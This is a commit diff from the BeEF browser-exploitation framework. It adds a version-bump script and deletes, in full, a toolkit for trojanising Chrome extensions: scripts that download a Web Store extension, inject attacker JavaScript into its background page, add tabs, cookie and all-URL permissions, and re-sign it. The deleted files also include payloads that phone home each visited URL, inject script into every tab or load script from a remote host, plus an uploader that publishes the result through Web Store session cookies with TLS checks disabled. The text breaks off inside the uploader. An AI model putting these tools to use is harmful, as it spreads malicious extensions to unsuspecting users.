Tools: Remove chrome_extensions_exploitation (#2798)
* Tools: Remove chrome_extensions_exploitation * Tools: move scripts/bump-version.sh -> tools/bump-version.sh
This commit is contained in:
24
tools/bump-version.sh
Executable file
24
tools/bump-version.sh
Executable file
@@ -0,0 +1,24 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
if [[ -z "${1}" || -z "${2}" ]]; then
|
||||
echo "Error: missing arguments"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [[ ! -f beef || ! -f VERSION ]]; then
|
||||
echo "Error: must be run from within the BeEF root directory"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Updating version ${1} to ${2}"
|
||||
|
||||
git checkout -b "release/${2}"
|
||||
sed -i '' -e "s/$1/$2/g" VERSION
|
||||
sed -i '' -e "s/\"version\": \"$1\"/\"version\": \"$2\"/g" package.json
|
||||
sed -i '' -e "s/\"version\": \"$1\"/\"version\": \"$2\"/g" package-lock.json
|
||||
sed -i '' -e "s/\"version\": \"$1\"/\"version\": \"$2\"/g" config.yaml
|
||||
|
||||
git add VERSION package.json package-lock.json config.yaml
|
||||
git commit -m "Version bump ${2}"
|
||||
git push --set-upstream origin "release/${2}"
|
||||
git push
|
||||
@@ -1,87 +0,0 @@
|
||||
Various tools for dealing with Chrome Extensions, especially valuable for pentesting / social engineering assignments.
|
||||
|
||||
Authors:
|
||||
|
||||
- Krzysztof Kotowicz - @kkotowicz - [blog](http://blog.kotowicz.net)
|
||||
- Michele '@antisnatchor' Orru
|
||||
|
||||
|
||||
Injector
|
||||
--------
|
||||
Bunch of scripts for injecting existing extensions with new code:
|
||||
Extensions can be downloaded from Chrome WebStore (repacker-webstore) or taken from crx files (repacker-crx).
|
||||
|
||||
Requirements:
|
||||
|
||||
- bash
|
||||
- ruby
|
||||
- zip (cmd line)
|
||||
- curl (cmd line)
|
||||
- Google Chrome (used in crx mode only)
|
||||
|
||||
Usage:
|
||||
|
||||
# get extension from Web Store, add payloads/phonehome.js and copy the extension to repacked-dir/
|
||||
$ injector/repacker-webstore.sh clcbnchcgjcjphmnpndoelbdhakdlfkk dir repacked-dir payloads/phonehome.js
|
||||
|
||||
# Same, but pack into repacked.zip instead
|
||||
$ injector/repacker-webstore.sh clcbnchcgjcjphmnpndoelbdhakdlfkk zip repacked.zip payloads/phonehome.js
|
||||
|
||||
# Create new CRX with Google Chrome
|
||||
$ injector/repacker-webstore.sh clcbnchcgjcjphmnpndoelbdhakdlfkk crx repacked.crx payloads/phonehome.js
|
||||
|
||||
# Inject into existing CRX file
|
||||
$ injector/repacker-crx.sh original.crx crx repacked.crx payloads/phonehome.js
|
||||
|
||||
# Add some permissions into manifest.json
|
||||
$ injector/repacker-crx.sh original.crx crx repacked.crx payloads/phonehome.js "tabs,proxy"
|
||||
|
||||
# Add persistent content script file launching on every tab
|
||||
$ echo 'console.log(location.href)' > cs.js
|
||||
$ injector/repacker-crx.sh original.crx crx repacked.crx payloads/cs_mass_poison.js "tabs,<all_urls>" cs.js
|
||||
|
||||
For example - mass poisoning every tab with [mosquito](https://github.com/koto/mosquito):
|
||||
|
||||
# start mosquito server:
|
||||
$ cd path/to/mosquito
|
||||
$ python mosquito/start.py 8082 4444 --http 8000
|
||||
|
||||
# generate mosquito hook:
|
||||
# - visit http://localhost:8000/generate
|
||||
# - save hook as cs.js
|
||||
|
||||
# inject mosquito dropper into extension:
|
||||
$ injector/repacker-crx.sh original.crx crx repacked.crx payloads/cs_mass_poison.js "tabs,<all_urls>" cs.js
|
||||
|
||||
|
||||
Webstore Uploader
|
||||
-----------------
|
||||
Script for uploading and publishing Chrome Extensions packed in zip files in Chrome Web Store
|
||||
|
||||
Requirements:
|
||||
|
||||
- ruby
|
||||
|
||||
Usage:
|
||||
|
||||
# Preparation:
|
||||
|
||||
1. Create Chrome developer account
|
||||
2. Login at https://chrome.google.com/webstore/developer/dashboard/
|
||||
3. Pay your $5 one time fee (credit card needed)
|
||||
4. Get SID, SSID, HSID cookies and paste their values in webstore_uploader/config.rb file
|
||||
|
||||
# Get Chrome extension code
|
||||
# e.g. run Injector in zip mode:
|
||||
|
||||
$ injector/repacker-webstore.sh clcbnchcgjcjphmnpndoelbdhakdlfkk zip repacked.zip payloads/phonehome.js
|
||||
|
||||
# (optional) - prepare screenshot / description file
|
||||
|
||||
# publish the extension right away
|
||||
$ ruby webstore_uploader/webstore_upload.rb repacked.zip publish description.txt screenshot.png
|
||||
|
||||
# or just upload & save it:
|
||||
$ ruby webstore_uploader/webstore_upload.rb repacked.zip save description.txt screenshot.png
|
||||
|
||||
# you can access the extension from your developer dashboard
|
||||
@@ -1,135 +0,0 @@
|
||||
#!/usr/bin/env ruby
|
||||
# encoding: UTF-8
|
||||
|
||||
# Authors:
|
||||
# Krzysztof Kotowicz - @kkotowicz - http://blog.kotowicz.net
|
||||
|
||||
require 'rubygems'
|
||||
require 'json'
|
||||
require 'securerandom'
|
||||
|
||||
class ChromeExtensionToolkit
|
||||
@ext = ''
|
||||
@manifest
|
||||
BCG_SCRIPT = 1
|
||||
BCG_PAGE = 2
|
||||
|
||||
def initialize(extpath)
|
||||
raise ArgumentError, "Empty extension path" unless extpath
|
||||
raise ArgumentError, "Invalid extension path" unless File.directory?(extpath)
|
||||
@ext = extpath
|
||||
end
|
||||
|
||||
def reload_manifest()
|
||||
f = get_file('manifest.json')
|
||||
manifest = File.read(f).sub("\xef\xbb\xbf", '')
|
||||
manifest = JSON.parse(manifest)
|
||||
set_manifest(manifest)
|
||||
return manifest
|
||||
end
|
||||
|
||||
def get_manifest()
|
||||
if @manifest
|
||||
return @manifest
|
||||
end
|
||||
|
||||
return reload_manifest()
|
||||
end
|
||||
|
||||
def set_manifest(manifest)
|
||||
@manifest = manifest
|
||||
end
|
||||
|
||||
def save_manifest()
|
||||
save_file('manifest.json', JSON.pretty_generate(@manifest))
|
||||
end
|
||||
|
||||
def save_file(file, contents)
|
||||
File.open(get_file(file), 'w') {|f| f.write contents }
|
||||
end
|
||||
|
||||
def get_file(file)
|
||||
return File.join(@ext, file)
|
||||
end
|
||||
|
||||
def assert_not_app()
|
||||
manifest = get_manifest()
|
||||
raise RuntimeError, "Apps are not supported, only regular Chrome extensions" if manifest['app']
|
||||
end
|
||||
|
||||
def inject_script(payload)
|
||||
assert_not_app()
|
||||
assert_background_page('injector_bg') # add page to extensions that don't have one
|
||||
bcg_file = get_file(get_background_page())
|
||||
|
||||
if File.exist?(bcg_file)
|
||||
bcg = File.read(bcg_file)
|
||||
else
|
||||
bcg = ""
|
||||
end
|
||||
|
||||
if not payload
|
||||
return bcg
|
||||
end
|
||||
|
||||
if bcg_file.end_with? ".js" # js file, just prepend payload
|
||||
return payload + ";" + bcg
|
||||
end
|
||||
|
||||
name = SecureRandom.hex + '.js'
|
||||
save_file(name, payload)
|
||||
return bcg.sub(/(\<head\>|\Z)/i, "\\1\n<script src=\"/#{name}\"></script>")
|
||||
end
|
||||
|
||||
def assert_background_page(default)
|
||||
manifest = get_manifest()
|
||||
if not manifest['manifest_version'].nil? and manifest['manifest_version'] >= 2
|
||||
if manifest['background'].nil?
|
||||
manifest['background'] = {}
|
||||
end
|
||||
|
||||
if manifest['background']['page']
|
||||
return BCG_PAGE
|
||||
end
|
||||
|
||||
if not manifest['background']['scripts'].nil?
|
||||
manifest['background']['scripts'].unshift(default + '.js')
|
||||
set_manifest(manifest)
|
||||
return BCG_SCRIPT
|
||||
else
|
||||
|
||||
manifest['background']['scripts'] = [default + '.js']
|
||||
set_manifest(manifest)
|
||||
return BCG_SCRIPT
|
||||
end
|
||||
end
|
||||
if not manifest['background_page']
|
||||
manifest['background_page'] = default + '.html'
|
||||
end
|
||||
set_manifest(manifest)
|
||||
return BCG_PAGE
|
||||
end
|
||||
|
||||
def add_permissions(perms)
|
||||
manifest = get_manifest()
|
||||
manifest['permissions'] += perms
|
||||
manifest['permissions'].uniq!
|
||||
set_manifest(manifest)
|
||||
end
|
||||
|
||||
def get_background_page()
|
||||
manifest = get_manifest()
|
||||
if manifest['background'] and manifest['background']['page']
|
||||
return manifest['background']['page']
|
||||
end
|
||||
|
||||
if manifest['background'] and manifest['background']['scripts']
|
||||
return manifest['background']['scripts'][0]
|
||||
end
|
||||
|
||||
if manifest['background_page']
|
||||
return manifest['background_page']
|
||||
end
|
||||
raise RuntimeError, "No background page present"
|
||||
end
|
||||
end
|
||||
@@ -1,9 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
# path to chrome binary
|
||||
CHROMEPATH="/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
|
||||
|
||||
# Private key to sign repacked extensions with.
|
||||
# Leave empty to generate new file on every run.
|
||||
#PEM="/home/koto/dev/xsschef/tools/dev.pem"
|
||||
PEM=
|
||||
@@ -1,53 +0,0 @@
|
||||
#!/usr/bin/env ruby
|
||||
# encoding: UTF-8
|
||||
|
||||
# Authors:
|
||||
# Krzysztof Kotowicz - @kkotowicz - http://blog.kotowicz.net
|
||||
|
||||
require_relative 'chrome_extension_toolkit.rb'
|
||||
|
||||
def help()
|
||||
puts "[-] Error. Usage: ruby inject.rb <extension-path> [permissions] < script.js"
|
||||
puts "Example: ruby inject.rb dir-with-extension 'plugins,proxy,cookies' < inject.js"
|
||||
exit 1
|
||||
end
|
||||
|
||||
begin
|
||||
extpath = ARGV[0]
|
||||
if not extpath
|
||||
help()
|
||||
end
|
||||
t = ChromeExtensionToolkit.new(extpath)
|
||||
puts "Loaded extension in #{extpath}"
|
||||
|
||||
manifest = t.get_manifest()
|
||||
puts "Existing manifest: "
|
||||
puts manifest
|
||||
|
||||
# injecting any script from stdin
|
||||
puts "Reading payload..."
|
||||
payload = $stdin.read
|
||||
puts "Injecting payload..."
|
||||
|
||||
injected = t.inject_script(payload)
|
||||
|
||||
print injected
|
||||
|
||||
if ARGV[1]
|
||||
perms = ARGV[1].split(',')
|
||||
puts "Adding permissions #{ARGV[1]}..."
|
||||
t.add_permissions(perms)
|
||||
end
|
||||
|
||||
puts "Saving..."
|
||||
# write
|
||||
t.save_file(t.get_background_page(), injected)
|
||||
t.save_manifest()
|
||||
|
||||
puts "Done."
|
||||
|
||||
rescue Exception => e
|
||||
$stderr.puts e.message
|
||||
$stderr.puts e.backtrace.inspect
|
||||
exit 1
|
||||
end
|
||||
@@ -1,117 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
# Authors:
|
||||
# Krzysztof Kotowicz - @kkotowicz - http://blog.kotowicz.net
|
||||
#
|
||||
# Unpacks a crx file, inject it with given payload, and, optionally
|
||||
# packs it into zip/crx file
|
||||
# see ../README.md
|
||||
|
||||
DIR=$( cd "$( dirname "$0" )" && pwd )
|
||||
source $DIR/config.ini
|
||||
RUNDIR=`pwd`
|
||||
tempfoo=`basename $0`
|
||||
TMPDIR=`mktemp -d -t ${tempfoo}` || exit 1
|
||||
EXTDIR="$TMPDIR"
|
||||
|
||||
INPUT_CRX=$1
|
||||
MODE=$2
|
||||
DESTINATION=$3
|
||||
JS_FILE=$4
|
||||
shift 4
|
||||
|
||||
if [ ! -z "$1" ]; then # 5th param optional
|
||||
PERMISSIONS=$1
|
||||
shift
|
||||
else
|
||||
PERMISSIONS=""
|
||||
fi
|
||||
|
||||
function help {
|
||||
printf "Usage: %s: <input.crx> <mode> <destination> <inject-bg.js> [permissions] [file1 ... ] \n" $(basename $0) >&2
|
||||
echo " <input.crx> - original extension CRX file" >&2
|
||||
echo " <mode> - output mode (dir|zip|crx)" >&2
|
||||
echo " <destination> - directory or file path to write injected extension to (depending on <mode>)" >&2
|
||||
echo " <inject-bg.js> - script to inject into extension background" >&2
|
||||
echo " [permissions] - comma separated permissions requested by script (to add to manifest)">&2
|
||||
echo " [file...] - additional files to add to extension" >&2
|
||||
exit 2
|
||||
}
|
||||
|
||||
if [[ $# -eq 0 ]] ; then
|
||||
help
|
||||
fi
|
||||
|
||||
if [ ! -f "${INPUT_CRX}" ]; then
|
||||
bailout "No input CRX file! - ${INPUT_CRX}"
|
||||
fi
|
||||
|
||||
if [ ! -f "${JS_FILE}" ]; then
|
||||
bailout "No file to inject! - ${JS_FILE}"
|
||||
fi
|
||||
|
||||
if [ -z "$DESTINATION" ] || [ -z "$MODE" ]; then
|
||||
bailout "You must give mode and destination!"
|
||||
fi
|
||||
|
||||
function cleanup {
|
||||
rm -rf "$TMPDIR"
|
||||
}
|
||||
|
||||
function bailout () {
|
||||
echo "Error: $1" >&2
|
||||
cleanup
|
||||
exit 1
|
||||
}
|
||||
|
||||
echo "Unpacking $INPUT_CRX to $EXTDIR..."
|
||||
# supress warning about extra prefix bytes
|
||||
unzip -qo "$INPUT_CRX" -d "$EXTDIR" 2>/dev/null
|
||||
echo "Injecting script $JS_FILE..."
|
||||
|
||||
$DIR/inject.rb "$EXTDIR" "$PERMISSIONS" < $JS_FILE || bailout "Injection failed"
|
||||
|
||||
# copy additional files
|
||||
for file in "$@"
|
||||
do
|
||||
|
||||
if [ -f "$file" ]; then
|
||||
echo "Adding $file..."
|
||||
cp "$file" "$EXTDIR"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Mode: $MODE"
|
||||
|
||||
case "$MODE" in
|
||||
crx)
|
||||
if [ ! -x "$CHROMEPATH" ]; then
|
||||
bailout "You must set correct CHROMEPATH in tools/config.ini"
|
||||
fi
|
||||
|
||||
echo "Signing $EXTDIR..."
|
||||
"$CHROMEPATH" --pack-extension="$EXTDIR" --pack-extension-key="$PEM" --no-message-box
|
||||
if (( $? )) ; then
|
||||
bailout "Signing in Chrome FAILED."
|
||||
fi
|
||||
|
||||
echo "Moving signed extension to $DESTINATION"
|
||||
mv "`dirname "$EXTDIR"`/`basename "$EXTDIR"`.crx" "$DESTINATION"
|
||||
;;
|
||||
zip)
|
||||
echo "Zipping extension to $DESTINATION"
|
||||
cd "$EXTDIR"
|
||||
zip -r __tmp.zip .
|
||||
cd -
|
||||
mv "$EXTDIR/__tmp.zip" $DESTINATION
|
||||
;;
|
||||
dir)
|
||||
echo "Moving extension directory to $DESTINATION"
|
||||
rm -r "$DESTINATION"
|
||||
mv "$EXTDIR" "$DESTINATION"
|
||||
;;
|
||||
*)
|
||||
bailout "Unknown mode: $MODE"
|
||||
esac
|
||||
|
||||
cleanup
|
||||
@@ -1,100 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
# Authors:
|
||||
# Krzysztof Kotowicz - @kkotowicz - http://blog.kotowicz.net
|
||||
#
|
||||
# Downloads extension from Google Chrome Webstore, inject it with given payload, and, optionally
|
||||
# packs it into zip/crx file
|
||||
# see ../README.md
|
||||
|
||||
RUNDIR=`pwd`
|
||||
DIR=$( cd "$( dirname "$0" )" && pwd )
|
||||
tempfoo=`basename $0`
|
||||
TMPDIR=`mktemp -d -t ${tempfoo}` || exit 1
|
||||
|
||||
function help {
|
||||
printf "Usage: %s: [-q] <extension_id> <mode> <destination> <inject-bg.js> [permissions] [file1 ...] \n" $(basename $0) >&2
|
||||
echo " -q : quiet, only repacked extension filename will be printed to stdout" >&2
|
||||
echo " <extension_id> - extension id from Chrome WebStore" >&2
|
||||
echo " <mode> - output mode (dir|zip|crx)" >&2
|
||||
echo " <destination> - directory or file path to write injected extension to (depending on <mode>)" >&2
|
||||
echo " <inject-bg.js> - script to inject into extension background" >&2
|
||||
echo " [permissions] - comma separated permissions requested by script (to add to manifest)">&2
|
||||
echo " [file...] - additional files to add to extension" >&2
|
||||
exit 2
|
||||
}
|
||||
|
||||
function cleanup {
|
||||
rm -rf "$TMPDIR"
|
||||
cd "$RUNDIR"
|
||||
}
|
||||
|
||||
function bailout () {
|
||||
echo "Error: $1" >&2
|
||||
cleanup
|
||||
exit 1
|
||||
}
|
||||
|
||||
#Parsing command line parameters
|
||||
QUIET=
|
||||
PERMISSIONS="tabs,proxy,<all_urls>,history,cookies,management,plugins"
|
||||
|
||||
while getopts 'qh' OPTION
|
||||
do
|
||||
case $OPTION in
|
||||
q) QUIET="1"
|
||||
;;
|
||||
h) help
|
||||
;;
|
||||
*) help
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
shift $(($OPTIND - 1))
|
||||
|
||||
if [[ $# -eq 0 ]] ; then
|
||||
help
|
||||
fi
|
||||
|
||||
EXT_ID="$1"
|
||||
MODE="$2"
|
||||
DESTINATION="$3"
|
||||
JS_FILE="$4"
|
||||
PERMISSIONS="$5"
|
||||
shift 5
|
||||
|
||||
if [ -z "$EXT_ID" ]; then
|
||||
bailout "No extension ID!"
|
||||
fi
|
||||
|
||||
if [ ! -f "${JS_FILE}" ]; then
|
||||
bailout "No file to inject! - ${JS_FILE}"
|
||||
fi
|
||||
|
||||
if [ -z "$DESTINATION" ] || [ -z "$MODE" ]; then
|
||||
bailout "You must give mode and destination!"
|
||||
fi
|
||||
|
||||
WEBSTORE_URL="https://clients2.google.com/service/update2/crx?response=redirect&x=id%3D${EXT_ID}%26lang%3Dpl%26uc"
|
||||
|
||||
# offline test
|
||||
# cp tmp/adblock.crx "$TMPDIR/org.crx"
|
||||
|
||||
if [ "$QUIET" ]; then
|
||||
curl -L "$WEBSTORE_URL" -o "$TMPDIR/org.crx" --silent
|
||||
else
|
||||
curl -L "$WEBSTORE_URL" -o "$TMPDIR/org.crx"
|
||||
fi
|
||||
|
||||
if (( $? )) ; then
|
||||
bailout "CURL failed."
|
||||
fi
|
||||
|
||||
if [ "$QUIET" ]; then
|
||||
$DIR/repacker-crx.sh "$TMPDIR/org.crx" "$MODE" "$DESTINATION" "$JS_FILE" "$PERMISSIONS" $@ >/dev/null || bailout "Repacker failed"
|
||||
echo -n $DESTINATION
|
||||
else
|
||||
$DIR/repacker-crx.sh "$TMPDIR/org.crx" "$MODE" "$DESTINATION" "$JS_FILE" "$PERMISSIONS" $@ || bailout "Repacker failed"
|
||||
fi
|
||||
rm $TMPDIR/org.crx
|
||||
@@ -1,2 +0,0 @@
|
||||
// sample payload
|
||||
console.log(location.href);
|
||||
@@ -1,23 +0,0 @@
|
||||
// add a /cs.js file to extension and have it run in a content script on every tab
|
||||
var INJECTOR_CS_PAYLOAD = '/cs.js';
|
||||
// requires tabs permissions
|
||||
|
||||
chrome.tabs.query({}, function (tabs) {
|
||||
for (var i = 0; i < tabs.length; i++) {
|
||||
if (tabs[i].url.match('^http')) {
|
||||
chrome.tabs.executeScript(tabs[i].id, {
|
||||
allFrames: true,
|
||||
file: INJECTOR_CS_PAYLOAD});
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
chrome.tabs.onUpdated.addListener( function (tabId, changeInfo, tab) {
|
||||
if (changeInfo.status == 'complete' && tab.url.match('^http')) {
|
||||
chrome.tabs.executeScript(tabId, {
|
||||
allFrames: true,
|
||||
file: INJECTOR_CS_PAYLOAD
|
||||
});
|
||||
}
|
||||
});
|
||||
@@ -1,6 +0,0 @@
|
||||
var x = new XMLHttpRequest();
|
||||
x.open('get', 'http://localhost/?url=' + encodeURIComponent(location.href), true);
|
||||
x.onload = x.onerror = function() {
|
||||
console.log('phoned home');
|
||||
}
|
||||
x.send(null);
|
||||
@@ -1,22 +0,0 @@
|
||||
# Authors:
|
||||
# Michele '@antisnatchor' Orru
|
||||
|
||||
# 1. Login at https://chrome.google.com/webstore/developer/dashboard/
|
||||
# 2. Pay your $5 one time fee
|
||||
# 3. Get SID, SSID, HSID cookies and paste their values below
|
||||
|
||||
# if you want to proxy request through Burp, USE_PROXY = true
|
||||
USE_PROXY = false
|
||||
PROXY_HOST = "127.0.0.1"
|
||||
PROXY_PORT = 9090
|
||||
|
||||
HTTP_READ_OPEN_TIMEOUT = 30 # seconds
|
||||
|
||||
G_PUBLISHER_ID = '' # gXXXXXXX, the last part of the Dashboard URL https://chrome.google.com/webstore/developer/dashboard/gXXXX
|
||||
|
||||
# these are the only 3 session cookies needed, the rest of the cookies are not needed.
|
||||
# you get these cookies when you are successfully authenticated on
|
||||
SID = ""
|
||||
SSID = ""
|
||||
HSID = ""
|
||||
|
||||
Binary file not shown.
@@ -1,5 +0,0 @@
|
||||
d=document;
|
||||
e=d.createElement('script');
|
||||
e.src="https://192.168.0.2/ciccio.js";
|
||||
d.body.appendChild(e);
|
||||
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 11 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 1.6 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 3.6 KiB |
@@ -1,21 +0,0 @@
|
||||
{
|
||||
"name": "Test extension",
|
||||
"manifest_version": 2,
|
||||
"version": "1.0",
|
||||
"description": "Test extension",
|
||||
"background": {
|
||||
"scripts": ["background.js"]
|
||||
},
|
||||
"content_security_policy": "script-src 'self' 'unsafe-eval' https://192.168.0.2; object-src 'self'",
|
||||
"icons": {
|
||||
"16": "icon16.png",
|
||||
"48": "icon48.png",
|
||||
"128": "icon128.png"
|
||||
},
|
||||
"permissions": [
|
||||
"tabs",
|
||||
"http://*/*",
|
||||
"https://*/*",
|
||||
"cookies"
|
||||
]
|
||||
}
|
||||
@@ -1,289 +0,0 @@
|
||||
# encoding: UTF-8
|
||||
require 'rubygems'
|
||||
require 'net/https'
|
||||
require 'json'
|
||||
require 'zip'
|
||||
require 'json'
|
||||
|
||||
# Authors:
|
||||
# Michele '@antisnatchor' Orru
|
||||
# Krzysztof Kotowicz - @kkotowicz
|
||||
# README:
|
||||
# Before running the script, make sure you change the following 4 variables in config.rb:
|
||||
# G_PUBLISHER_ID, SID, SSID, HSID
|
||||
#
|
||||
# You can retrieve all these values after you're successfully authenticated in the WebStore, see comments
|
||||
# in the config.rb.sample. Rename it ro config.rb when done.
|
||||
#
|
||||
|
||||
require_relative 'config.rb'
|
||||
|
||||
def help()
|
||||
puts "[-] Error. Usage: ruby webstore_upload.rb <zip_file_name> <publish|save> [description_file] [screenshot_file]"
|
||||
exit 1
|
||||
end
|
||||
|
||||
zip_name = ARGV[0]
|
||||
if zip_name == nil
|
||||
help()
|
||||
end
|
||||
EXT_ZIP_NAME = zip_name
|
||||
|
||||
mode = ARGV[1]
|
||||
action = nil
|
||||
if mode == nil
|
||||
help()
|
||||
elsif mode == "publish"
|
||||
action = "publish"
|
||||
elsif mode == "save"
|
||||
action = "save_and_return_to_dashboard"
|
||||
#action = "save"
|
||||
else
|
||||
help()
|
||||
end
|
||||
ACTION = action
|
||||
|
||||
if !File.exist?(EXT_ZIP_NAME)
|
||||
puts "[-] Error: #{EXT_ZIP_NAME} does not exist"
|
||||
help()
|
||||
end
|
||||
|
||||
if ARGV[2] != nil and File.exist?(ARGV[2])
|
||||
DESCRIPTION = File.new(ARGV[2]).read()
|
||||
puts "[*] Using description from #{ARGV[2]}"
|
||||
else
|
||||
DESCRIPTION = ""
|
||||
end
|
||||
|
||||
if ARGV[3] != nil and File.exist?(ARGV[3])
|
||||
SCREENSHOT_NAME = ARGV[3]
|
||||
puts "[*] Using screenshot from #{SCREENSHOT_NAME}"
|
||||
end
|
||||
|
||||
# general get/post request handler
|
||||
def request(uri, method, headers, post_body)
|
||||
uri = URI(uri)
|
||||
http = nil
|
||||
if USE_PROXY
|
||||
http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT)
|
||||
else
|
||||
http = Net::HTTP.new(uri.host, uri.port)
|
||||
end
|
||||
|
||||
http.read_timeout = HTTP_READ_OPEN_TIMEOUT
|
||||
http.open_timeout = HTTP_READ_OPEN_TIMEOUT
|
||||
if uri.scheme == "https"
|
||||
http.use_ssl = true
|
||||
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||
end
|
||||
|
||||
request = nil
|
||||
if method == "POST"
|
||||
request = Net::HTTP::Post.new(uri.request_uri, headers)
|
||||
if post_body.is_a?(Hash)
|
||||
request.set_form_data(post_body) # post_body as in: {"key" => "value"}
|
||||
else
|
||||
request.body = post_body # post_body as in: {"key" => "value"}
|
||||
end
|
||||
else # otherwise GET
|
||||
request = Net::HTTP::Get.new(uri.request_uri, headers)
|
||||
end
|
||||
|
||||
begin
|
||||
response = http.request(request)
|
||||
|
||||
case response
|
||||
when Net::HTTPSuccess
|
||||
then
|
||||
return response
|
||||
when Net::HTTPRedirection # if you get a 3xx response
|
||||
then
|
||||
return response
|
||||
else
|
||||
return nil
|
||||
end
|
||||
rescue SocketError => se # domain not resolved
|
||||
return nil
|
||||
rescue Timeout::Error => timeout # timeout in open/read
|
||||
return nil
|
||||
rescue Errno::ECONNREFUSED => refused # connection refused
|
||||
return nil
|
||||
rescue Exception => e
|
||||
#puts e.message
|
||||
#puts e.backtrace
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# raw request to upload the extension.zip file data
|
||||
def request_octetstream(uri, headers)
|
||||
file = File.new(EXT_ZIP_NAME)
|
||||
|
||||
uri = URI(uri)
|
||||
req = Net::HTTP::Post.new(uri.request_uri, headers)
|
||||
|
||||
post_body = []
|
||||
post_body << File.read(file)
|
||||
req.body = post_body.join
|
||||
req["Content-Type"] = "application/octet-stream"
|
||||
|
||||
http = nil
|
||||
if USE_PROXY
|
||||
http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT)
|
||||
else
|
||||
http = Net::HTTP.new(uri.host, uri.port)
|
||||
end
|
||||
|
||||
http.read_timeout = HTTP_READ_OPEN_TIMEOUT
|
||||
http.open_timeout = HTTP_READ_OPEN_TIMEOUT
|
||||
if uri.scheme == "https"
|
||||
http.use_ssl = true
|
||||
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||
end
|
||||
response = http.request(req)
|
||||
return response
|
||||
end
|
||||
|
||||
# defaults to English Language and Productivity category
|
||||
def send_publish_request(uri, cx_auth_t, headers, action="publish")
|
||||
|
||||
uri = URI(uri)
|
||||
req = Net::HTTP::Post.new(uri.request_uri, headers)
|
||||
boundary = rand(14666338978986066131776338987).to_s.center(29, rand(29).to_s)
|
||||
|
||||
fields = {
|
||||
"action" => action, "t" => cx_auth_t, "edit-locale" => "en_US", "desc" => DESCRIPTION, "screenshot" => SCREENSHOT_NAME, "cx-embed-box" => "",
|
||||
"official_url" => "none", "homepage_url" => "", "support_url" => "", "categoryId" => "7-productivity", "tiers" => "0", "all-regions" => "1",
|
||||
"cty-AR" => "1", "cty-AU" => "1", "cty-AT" => "1", "cty-BE" => "1", "cty-BR" => "1", "cty-CA" => "1", "cty-CN" => "1",
|
||||
"cty-CZ" => "1", "cty-DK" => "1", "cty-EG" => "1", "cty-FI" => "1", "cty-FR" => "1", "cty-DE" => "1", "cty-HK" => "1",
|
||||
"cty-IN" => "1", "cty-ID" => "1", "cty-IL" => "1", "cty-IT" => "1", "cty-JP" => "1", "cty-MY" => "1", "cty-MX" => "1",
|
||||
"cty-MA" => "1", "cty-NL" => "1", "cty-NZ" => "1", "cty-NO" => "1", "cty-PH" => "1", "cty-PL" => "1", "cty-PT" => "1",
|
||||
"cty-RU" => "1", "cty-SA" => "1", "cty-SG" => "1", "cty-ES" => "1", "cty-SE" => "1", "cty-CH" => "1", "cty-TW" => "1",
|
||||
"cty-TH" => "1", "cty-TR" => "1", "cty-UA" => "1", "cty-AE" => "1", "cty-GB" => "1", "cty-US" => "1", "cty-VN" => "1",
|
||||
"language" => "en", "openid_realm" => "", "analytics_account_id" => "", "extensionAdsBehavior" => "", "publish-destination" => "PUBLIC",
|
||||
"ignore" => "true", "payment-type" => "free", "subscription-period" => "none", "logo128-image" => "",
|
||||
}
|
||||
|
||||
post_body = []
|
||||
post_body << "-----------------------------#{boundary}\r\n"
|
||||
fields.each do |key,value|
|
||||
if key == "screenshot"
|
||||
# screenshot must be treated differently
|
||||
post_body << "Content-Disposition: form-data; name=\"#{key}\"; filename=\"" + (value ? File.basename(value) : '' )+ "\"\r\n"
|
||||
post_body << "Content-Type: application/octet-stream\r\n\r\n"
|
||||
post_body << (value ? File.read(value) : '')
|
||||
post_body << "\r\n"
|
||||
post_body << "-----------------------------#{boundary}\r\n"
|
||||
next
|
||||
elsif key == "logo128-image"
|
||||
post_body << "Content-Disposition: form-data; name=\"#{key}\"; filename=\"" + (ICON_NAME ? File.basename(ICON_NAME) : '') + "\"\r\n"
|
||||
post_body << "Content-Type: application/octet-stream\r\n\r\n"
|
||||
post_body << ICON
|
||||
post_body << "\r\n"
|
||||
post_body << "-----------------------------#{boundary}\r\n"
|
||||
next
|
||||
end
|
||||
post_body << "Content-Disposition: form-data; name=\"#{key}\"\r\n"
|
||||
post_body << "\r\n"
|
||||
post_body << "#{value}\r\n"
|
||||
if key == "logo128-image"
|
||||
post_body << "-----------------------------#{boundary}--\r\n"
|
||||
break
|
||||
else
|
||||
post_body << "-----------------------------#{boundary}\r\n"
|
||||
end
|
||||
end
|
||||
|
||||
req.body = post_body.join
|
||||
|
||||
|
||||
req["Content-Type"] = "multipart/form-data; boundary=---------------------------#{boundary}"
|
||||
|
||||
http = nil
|
||||
if USE_PROXY
|
||||
http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT)
|
||||
else
|
||||
http = Net::HTTP.new(uri.host, uri.port)
|
||||
end
|
||||
|
||||
http.read_timeout = HTTP_READ_OPEN_TIMEOUT
|
||||
http.open_timeout = HTTP_READ_OPEN_TIMEOUT
|
||||
if uri.scheme == "https"
|
||||
http.use_ssl = true
|
||||
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||
end
|
||||
response = http.request(req)
|
||||
return response
|
||||
end
|
||||
|
||||
puts "[+] Reading manifest..."
|
||||
Zip::File.open(EXT_ZIP_NAME) do |zip_file|
|
||||
entry = zip_file.glob('manifest.json').first
|
||||
manifest = JSON.parse(entry.get_input_stream.read)
|
||||
ICON_NAME = manifest['icons']['128']
|
||||
puts "[+] Found icon: #{ICON_NAME}"
|
||||
